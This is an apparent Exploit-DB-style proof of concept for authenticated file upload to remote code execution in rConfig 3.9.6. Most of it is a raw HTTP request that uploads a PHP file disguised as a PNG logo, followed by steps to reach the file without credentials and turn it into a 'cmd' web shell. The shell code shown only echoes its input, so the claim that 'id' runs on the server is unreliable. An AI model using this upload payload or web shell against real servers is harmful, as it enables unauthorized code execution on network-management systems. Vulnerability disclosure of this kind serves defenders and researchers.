# Exploit Title: rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated)  
# Date: 2021-03-17  
# Exploit Author: Murat ŞEKER  
# Vendor Homepage:  
# Software Link:  
# Version: rConfig v3.9.6  
# Install scripts :  
# Tested on: centOS 7  
# Notes : If you want to reproduce in your lab environment follow those links :  
# then  
# Description:  
rConfig, the open source network device configuration management tool, is vulnerable to Arbitrary File Upload to RCE in /lib/crud/vendors.crud.php with parameter 'vendorLogo'.  
The following steps can be carried out in duplicating this vulnerability.  
- Login the rConfig application with your credentials.  
- Repeat   
POST /lib/crud/vendors.crud.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------122590832918963661283831488254  
Content-Length: 36619  
Origin: https://localhost  
Connection: close  
Cookie: PHPSESSID=eafcfe393af7dc2a3dd9bd1ea0e9e49b  
Upgrade-Insecure-Requests: 1  
Cache-Control: no-transform  
Content-Disposition: form-data; name="vendorName"  
Content-Disposition: form-data; name="vendorLogo"; filename="file.php"  
Content-Type: image/png  
<?php phpinfo(); ?>  
Content-Disposition: form-data; name="add"  
Content-Disposition: form-data; name="editid"  
- Than go to http(s)://<SERVER>/images/vendor/file.php  
Note: The file.php can be accessed without valid credentials.  
If you change the <?php phpinfo(); ?> to <?php echo $_GET["cmd"];?>  
and navigate the http(s)://<SERVER>/images/vendor/file.php?cmd=id  
The `id` command will execute on server.